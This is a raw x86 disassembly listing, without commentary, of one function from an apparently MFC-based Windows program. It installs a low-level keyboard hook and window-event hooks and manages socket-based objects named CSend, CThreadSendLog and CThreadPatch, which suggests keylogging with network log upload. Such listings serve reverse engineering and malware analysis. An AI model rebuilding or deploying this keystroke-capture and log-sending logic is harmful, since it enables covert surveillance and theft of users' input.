xchg dword [eax], edi
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x62c]
cmp eax, 8
jb 0x43bdb5
mov edi, dword [ebp - 0x640]
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x43bdab
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push ecx
push edi
call fcn.0058f106
add esp, 8
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x65c]
cmp edx, 8
jb 0x43b8bf
mov ecx, dword [ebp - 0x670]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43b8b5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
jmp 0x43b8b5
push 0
call fcn.0045eb1a
push 0xc
call fcn.00447eb9
add esp, 8
mov dword [ebp - 0x21f4], eax
mov byte [ebp - 4], 0x10
test eax, eax
je 0x43be24
mov ecx, eax
call fcn.0045f8ce
jmp 0x43be26
xor eax, eax
push 0x631b8c
mov dword [ebp - 0x21cc], eax
mov byte [ebp - 4], 0xe
call fcn.00468079
mov edi, dword [ebp - 0x21fc]
mov ecx, edi
push str.Local_AppWizard_Generated_Applications
call fcn.0046b603
xorps xmm0, xmm0
mov dword [ebp - method.CConnect.virtual_0], vtable.CConnect.0
mov dword [ebp - 0x22cc], 0
movlpd qword [ebp - 0x22c8], xmm0
mov dword [ebp - 0x22c0], 0
mov dword [ebp - 0x22bc], 0
mov dword [ebp - 0x22b8], 0xffffffff
movq qword [ebp - 0x22b4], xmm0
mov byte [ebp - 4], 0x12
push 0x400
mov dword [ebp - 0x22ac], 0
call fcn.00447f05
mov dword [ebp - 0x22cc], eax
lea ecx, [ebp - 0x22c0]
lea eax, [ebp - 0x22d0]
xchg dword [ecx], eax
push 8
call fcn.00447eb9
add esp, 8
test eax, eax
je 0x43bedc
lea ecx, [ebp - 0x22d0]
mov dword [eax + 4], 0x409210
mov dword [eax], ecx
jmp 0x43bede
xor eax, eax
mov dword [ebp - 0x21f4], eax
lea ecx, [ebp - 0x21ec]
mov byte [ebp - 4], 0x13
push ecx
push 0
push eax
push 0x409c20
push 0
push 0
call fcn.005f95cb
mov ecx, eax
add esp, 0x18
mov dword [ebp - 0x21f0], ecx
test ecx, ecx
je 0x43c614
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x22b0], 0
jne 0x43c670
mov eax, dword [ebp - 0x21ec]
xorps xmm0, xmm0
movlpd qword [ebp - 0x21f0], xmm0
mov dword [ebp - 0x22b4], ecx
mov dword [ebp - 0x22b0], eax
mov dword [ebp - method.CConnect.virtual_0], 0x6730d4
movlpd qword [ebp - 0x22a8], xmm0
mov dword [ebp - 0x22a0], 0x5654
mov byte [ebp - 0x229c], 0
movlpd qword [ebp - 0x2288], xmm0
movlpd qword [ebp - 0x2280], xmm0
mov byte [ebp - 4], 0x14
cmp dword [0x6acdd8], 0
jne 0x43bfcb
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov edi, dword [sym.imp.USER32.dll_SetWinEventHook]
push 2
push 0
push 0
push 0x43f5c0
push 0
push 0x800e
push 0x8005
call edi
push 0
push 0
push 0
push 0x43f5c0
push 0
push 3
push 3
mov dword [0x6acdd8], eax
call edi
mov edi, dword [ebp - 0x21fc]
mov dword [0x6acddc], eax
lea eax, [ebp - 0x21f8]
push eax
call fcn.005ef5a2
mov ecx, dword [ebp - 0x21f4]
add esp, 4
test ecx, ecx
jl 0x43bff0
mov eax, dword [ebp - 0x21f8]
jg 0x43c007
test eax, eax
jne 0x43c007
xorps xmm0, xmm0
movlpd qword [ebp - 0x21dc], xmm0
mov ecx, dword [ebp - 0x21d8]
mov eax, dword [ebp - 0x21dc]
push 0
push 0
push 0x43d610
push 0xd
mov dword [0x6a9e00], eax
mov dword [0x6a9e04], ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x6acdd0], eax
mov dword [ebp - method.CThreadPatch.virtual_0], vtable.CThreadPatch.0
call fcn.0044a657
mov ecx, eax
test ecx, ecx
je 0x43c675
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x223c], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2238], 0
mov dword [ebp - 0x2234], 0
movlpd qword [ebp - 0x2230], xmm0
mov dword [ebp - 0x2228], 0
mov dword [ebp - 0x2224], 0
mov dword [ebp - 0x2220], 0xffffffff
movq qword [ebp - 0x221c], xmm0
mov byte [ebp - 4], 0x17
push 0x400
mov dword [ebp - 0x2214], 0
call fcn.00447f05
mov dword [ebp - 0x2234], eax
lea ecx, [ebp - 0x2228]
lea eax, [ebp - 0x2240]
xchg dword [ecx], eax
xorps xmm0, xmm0
mov dword [ebp - method.CThreadSendLog.virtual_0], vtable.CThreadSendLog.0
mov dword [ebp - 0x6e4], 0
movups xmmword [ebp - 0x6e0], xmm0
mov dword [ebp - 0x6d0], 0xffffffff
movq qword [ebp - 0x6cc], xmm0
mov byte [ebp - 4], 0x1a
push 0x400
mov dword [ebp - 0x6c4], 0
movlpd qword [ebp - 0x6a0], xmm0
movlpd qword [ebp - 0x698], xmm0
mov dword [ebp - 0x690], 0
mov dword [ebp - 0x688], 0x5654
mov byte [ebp - 0x684], 0
call fcn.00447f05
mov dword [ebp - 0x6dc], eax
lea ecx, [ebp - 0x6d8]
add esp, 8
lea eax, [ebp - 0x6e8]
xchg dword [ecx], eax
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 0x1b
call fcn.00416cf0
push 0x64
lea eax, [ebp - 0xc7c]
mov dword [ebp - method.CThread.virtual_0], 0x673084
push 0
push eax
mov dword [ebp - 0xc84], 0
call fcn.005e8c40
push 0x64
lea eax, [ebp - 0xc18]
push 0
push eax
call fcn.005e8c40
xorps xmm0, xmm0
lea eax, [ebp - 0xb84]
push 0x270
push 0
push eax
movups xmmword [ebp - 0xbb4], xmm0
movups xmmword [ebp - 0xba4], xmm0
movq qword [ebp - 0xb94], xmm0
movlpd qword [ebp - 0xb8c], xmm0
call fcn.005e8c40
add esp, 0x24
lea ecx, [ebp - 0x2380]
mov byte [ebp - 4], 0x1c
call fcn.00416cf0
mov dword [ebp - method.CThread.virtual_0], 0x673034
mov dword [ebp - 0x2338], 0
mov dword [ebp - 0x2334], 0
mov dword [ebp - 0x2330], 0
lea ecx, [ebp - 0x2328]
mov byte [ebp - 4], 0x1d
call fcn.00416cf0
mov dword [ebp - method.CThread.virtual_0], 0x672fe4
mov dword [ebp - 0x22e0], 0
mov dword [ebp - 0x22dc], 0
mov dword [ebp - 0x22d8], 0
cmp dword [ebp - 0x2210], 0
mov byte [ebp - 4], 0x1e
je 0x43c24c
lea ecx, [ebp - 0x2240]
call fcn.0041a110
cmp dword [ebp - 0x220c], 0
je 0x43c260
lea ecx, [ebp - 0x6e8]
call fcn.0041b100
cmp dword [ebp - 0x2208], 0
je 0x43c274
lea ecx, [ebp - 0xccc]
call fcn.00416db0
cmp dword [ebp - 0x2204], 0
je 0x43c288
lea ecx, [ebp - 0x2328]
call fcn.00416db0
cmp dword [ebp - 0x2200], 0
je 0x43c29c
lea ecx, [ebp - 0x2380]
call fcn.00416db0
cmp dword [ebp - 0x21e8], 0
je 0x43c2aa
call fcn.004151c0
push ecx
lea ecx, [ebp - 0x1f9c]
call fcn.0040bcd0
lea eax, [ebp - 0x1f9c]
mov byte [ebp - 4], 0x1f
mov ecx, eax
mov dword [edi + 0x20], eax
call fcn.00456982
push dword [0x6acdd0]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, dword [0x6acdd8]
test eax, eax
je 0x43c2f6
mov edi, dword [sym.imp.USER32.dll_UnhookWinEvent]
push eax
call edi
push dword [0x6acddc]
call edi
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.00415680
mov ecx, dword [ebp - 0x21cc]
test ecx, ecx
je 0x43c30c
mov eax, dword [ecx]
push 1
call dword [eax + 4]
call fcn.0046bf8a
lea ecx, [ebp - 0x1f9c]
call fcn.0040bfa0
mov byte [ebp - 4], 0x1d
push dword [ebp - 0x2324]
mov dword [ebp - method.CThread.virtual_0], vtable.CThread.0
call fcn.00447f00
add esp, 4
cmp dword [ebp - 0x2300], 0
jne 0x43c670
cmp dword [ebp - 0x2308], 0xffffffff
je 0x43c369
or edi, 0xffffffff
lea eax, [ebp - 0x2308]
xchg dword [eax], edi
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov byte [ebp - 4], 0x1c
push dword [ebp - 0x237c]
mov dword [ebp - method.CThread.virtual_0], vtable.CThread.0
call fcn.00447f00
add esp, 4
cmp dword [ebp - 0x2358], 0
jne 0x43c670
cmp dword [ebp - 0x2360], 0xffffffff
je 0x43c3b6
or edi, 0xffffffff
lea eax, [ebp - 0x2360]
xchg dword [eax], edi
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov byte [ebp - 4], 0x1b
push dword [ebp - 0xcc8]
mov dword [ebp - method.CThread.virtual_0], vtable.CThread.0
call fcn.00447f00
add esp, 4
cmp dword [ebp - 0xca4], 0
jne 0x43c670
cmp dword [ebp - 0xcac], 0xffffffff
je 0x43c403
or edi, 0xffffffff
lea eax, [ebp - 0xcac]
xchg dword [eax], edi
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x6cc]
mov dword [ebp - method.CThreadSendLog.virtual_0], vtable.CThreadSendLog.0
call fcn.0040a2b0
push dword [ebp - 0x6dc]
call fcn.00447f00
add esp, 4
cmp dword [ebp - 0x6c8], 0
jne 0x43c670
cmp dword [ebp - 0x6d0], 0xffffffff
je 0x43c45b
or edi, 0xffffffff
lea eax, [ebp - 0x6d0]
xchg dword [eax], edi
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x221c]
mov dword [ebp - method.CThreadPatch.virtual_0], vtable.CThreadPatch.0
call fcn.0040a2b0
push dword [ebp - 0x2234]
call fcn.00447f00
add esp, 4
cmp dword [ebp - 0x2218], 0
jne 0x43c670
cmp dword [ebp - 0x2220], 0xffffffff
je 0x43c4b3
or edi, 0xffffffff
lea eax, [ebp - 0x2220]
xchg dword [eax], edi
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 0x223c]
or edi, 0xffffffff
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43c4d3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x22d0]
call fcn.00408c60
mov byte [ebp - 4], 8
push dword [ebp - 0x2274]
mov dword [ebp - method.CSend.virtual_0], vtable.CSend.0
call fcn.00447f00
add esp, 4
cmp dword [ebp - 0x2258], 0
jne 0x43c670
cmp dword [ebp - 0x2260], 0xffffffff
je 0x43c52b
lea eax, [ebp - 0x2260]
xchg dword [eax], edi
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
or edi, 0xffffffff
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x62c]
cmp eax, 8
jb 0x43c56f
mov ecx, dword [ebp - 0x640]
lea edx, [eax*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43c565
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push edx
push ecx
call fcn.0058f106
add esp, 8
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x65c]
cmp edx, 8
jb 0x43c5b3
mov ecx, dword [ebp - 0x670]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43c5a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push edx
push ecx
call fcn.0058f106
add esp, 8
xor eax, eax
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x644]
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], ax
cmp edx, 8
jb 0x43bbc9
mov ecx, dword [ebp - 0x658]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43bbbf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43bbbf
jmp 0x43c657
push 6
mov dword [ebp - 0x21ec], 0
call fcn.00593335
push 0x80004005
call fcn.00403270
push 0x80004005
call fcn.00403270
push 0x80004005
call fcn.00403270
push 0x80004005
call fcn.00403270
push 0x80004005
call fcn.00403270
call fcn.005ef2cd
push 0x80004005
call fcn.00403270
push 0x80004005
call fcn.00403270
call fcn.005f8fa5
push 0x80004005
call fcn.00403270
int3